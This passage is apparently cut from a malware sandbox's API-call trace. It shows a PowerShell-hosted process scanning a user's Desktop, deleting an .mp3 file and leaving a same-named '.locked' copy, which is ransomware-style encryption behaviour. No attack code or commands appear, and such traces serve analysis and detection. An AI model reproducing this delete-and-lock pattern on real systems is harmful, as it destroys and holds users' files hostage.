lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0129.519] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0129.519] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0129.519] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0129.541] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0129.541] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0129.542] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0129.542] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0129.542] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0x0) returned 0x1d [0129.542] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0x0) returned 0x1d [0129.542] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\u-lj86MkJ.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\u-lj86mkj.mp3")) returned 0x20 [0129.542] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\u-lj86MkJ.mp3", nBufferLength=0x105, lpBuffer=0x99ade4c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\u-lj86MkJ.mp3", lpFilePart=0x0) returned 0x2b [0129.542] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\u-lj86MkJ.mp3", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\u-lj86MkJ.mp3", lpFilePart=0x0) returned 0x2b [0129.543] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\u-lj86MkJ.mp3", nBufferLength=0x105, lpBuffer=0x99adf88, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\u-lj86MkJ.mp3", lpFilePart=0x0) returned 0x2b [0129.543] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0129.543] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\u-lj86MkJ.mp3", nBufferLength=0x105, lpBuffer=0x99adf50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\u-lj86MkJ.mp3", lpFilePart=0x0) returned 0x2b [0129.543] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\u-lj86MkJ.mp3\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\u-lj86MkJ.mp3\\", lpFilePart=0x0) returned 0x2c [0129.543] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\u-lj86MkJ.mp3\\*", lpFindFileData=0x99ae170 | out: lpFindFileData=0x99ae170) returned 0xffffffff [0129.543] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae40c) returned 1 [0129.543] CoTaskMemAlloc (cb=0x404) returned 0x8ebb8c8 [0129.543] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8ebb8c8, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0129.543] CoTaskMemFree (pv=0x8ebb8c8) [0129.544] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\u-lj86MkJ.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\u-lj86mkj.mp3")) returned 0x20 [0129.544] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\u-lj86MkJ.mp3", nBufferLength=0x105, lpBuffer=0x99adf14, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\u-lj86MkJ.mp3", lpFilePart=0x0) returned 0x2b [0129.544] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\u-lj86MkJ.mp3", nBufferLength=0x105, lpBuffer=0x99ade90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\u-lj86MkJ.mp3", lpFilePart=0x0) returned 0x2b [0129.544] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae36c) returned 1 [0129.544] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\u-lj86MkJ.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\u-lj86mkj.mp3"), fInfoLevelId=0x0, lpFileInformation=0x6a8939c | out: lpFileInformation=0x6a8939c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40693a70, ftCreationTime.dwHighDateTime=0x1d4a292, ftLastAccessTime.dwLowDateTime=0x517c7580, ftLastAccessTime.dwHighDateTime=0x1d4a435, ftLastWriteTime.dwLowDateTime=0x517c7580, ftLastWriteTime.dwHighDateTime=0x1d4a435, nFileSizeHigh=0x0, nFileSizeLow=0x10306)) returned 1 [0129.544] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae368) returned 1 [0129.544] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\u-lj86MkJ.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\u-lj86mkj.mp3")) returned 1 [0129.558] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc0, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.559] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="㜀и") returned 0x0 [0129.559] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc1, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.559] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc0, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.559] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc1, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc1, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.560] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\u-lj86MkJ.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\u-lj86mkj.mp3.locked")) returned 0x20 [0129.560] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\u-lj86MkJ.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\u-lj86mkj.mp3.locked")) returned 0x20 [0129.560] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\u-lj86MkJ.mp3.locked", nBufferLength=0x105, lpBuffer=0x99adf7c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\u-lj86MkJ.mp3.locked", lpFilePart=0x0) returned 0x32 [0129.560] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\u-lj86MkJ.mp3.locked", nBufferLength=0x105, lpBuffer=0x99adf40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\u-lj86MkJ.mp3.locked", lpFilePart=0x0) returned 0x32 [0129.561] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc1, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.561] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\u-lj86MkJ.mp3", nBufferLength=0x105, lpBuffer=0x99ae1bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\u-lj86MkJ.mp3", lpFilePart=0x0) returned 0x2b [0129.561] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0129.561] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc2, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.562] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc1, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.562] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc2, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc2, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.563] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc2, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.564] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0129.564] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc3, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.564] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc2, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.564] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc3, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc3, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.568] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc3, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.568] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0129.569] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc4, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.569] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc3, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.569] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc4, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc4, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.571] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc4, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.572] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0129.572] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc5, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.572] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc4, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.572] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc5, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc5, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.574] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc5, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.575] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0129.575] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc6, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.575] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc5, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.575] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc6, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc6, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.578] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc6, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.580] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99addb8) returned 1 [0129.581] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\u-lj86MkJ.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\u-lj86mkj.mp3.locked"), fInfoLevelId=0x0, lpFileInformation=0x6a973a8 | out: lpFileInformation=0x6a973a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x106c2c4f, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0x106c2c4f, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x106c2c4f, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0x10324)) returned 1 [0129.581] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99addb4) returned 1 [0129.581] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\u-lj86MkJ.mp3.locked", nBufferLength=0x105, lpBuffer=0x99ad894, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\u-lj86MkJ.mp3.locked", lpFilePart=0x0) returned 0x32 [0129.581] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\u-lj86MkJ.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\u-lj86mkj.mp3.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x874 [0129.581] GetFileInformationByHandle (in: hFile=0x874, lpFileInformation=0x99ade00 | out: lpFileInformation=0x99ade00) returned 1 [0129.581] CloseHandle (hObject=0x874) returned 1 [0129.585] GetConsoleOutputCP () returned 0x1b5 [0129.606] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c0) returned 0 [0129.606] GetConsoleOutputCP () returned 0x1b5 [0129.624] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae358, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae358) returned 0 [0129.624] GetConsoleOutputCP () returned 0x1b5 [0129.646] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0129.646] GetConsoleOutputCP () returned 0x1b5 [0129.658] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0129.658] GetConsoleOutputCP () returned 0x1b5 [0129.670] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c0) returned 0 [0129.670] GetConsoleOutputCP () returned 0x1b5 [0129.679] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae358, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae358) returned 0 [0129.679] GetConsoleOutputCP () returned 0x1b5 [0129.682] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0129.682] GetConsoleOutputCP () returned 0x1b5 [0129.693] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0129.693] GetConsoleOutputCP () returned 0x1b5 [0129.696] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c0) returned 0 [0129.696] GetConsoleOutputCP () returned 0x1b5 [0129.706] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae358, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae358) returned 0 [0129.706] GetConsoleOutputCP () returned 0x1b5 [0129.709] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0129.709] GetConsoleOutputCP () returned 0x1b5 [0129.720] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0129.720] GetConsoleOutputCP () returned 0x1b5 [0129.725] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c0) returned 0 [0129.725] GetConsoleOutputCP () returned 0x1b5 [0129.737] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae358, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae358) returned 0 [0129.737] GetConsoleOutputCP () returned 0x1b5 [0129.740] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0129.740] GetConsoleOutputCP () returned 0x1b5 [0129.759] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0129.759] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae3fc | out: lpConsoleScreenBufferInfo=0x99ae3fc) returned 1 [0129.762] GetConsoleOutputCP () returned 0x1b5 [0129.768] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae398, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae398) returned 0 [0129.768] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae404 | out: lpMode=0x99ae404) returned 1 [0129.771] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6abe010*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae3fc, lpReserved=0x0 | out: lpBuffer=0x6abe010*, lpNumberOfCharsWritten=0x99ae3fc*=0x77) returned 1 [0129.780] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae404 | out: lpMode=0x99ae404) returned 1 [0129.783] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae3fc, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae3fc*=0x2) returned 1 [0129.792] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee78*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc6, [1]=0x18, 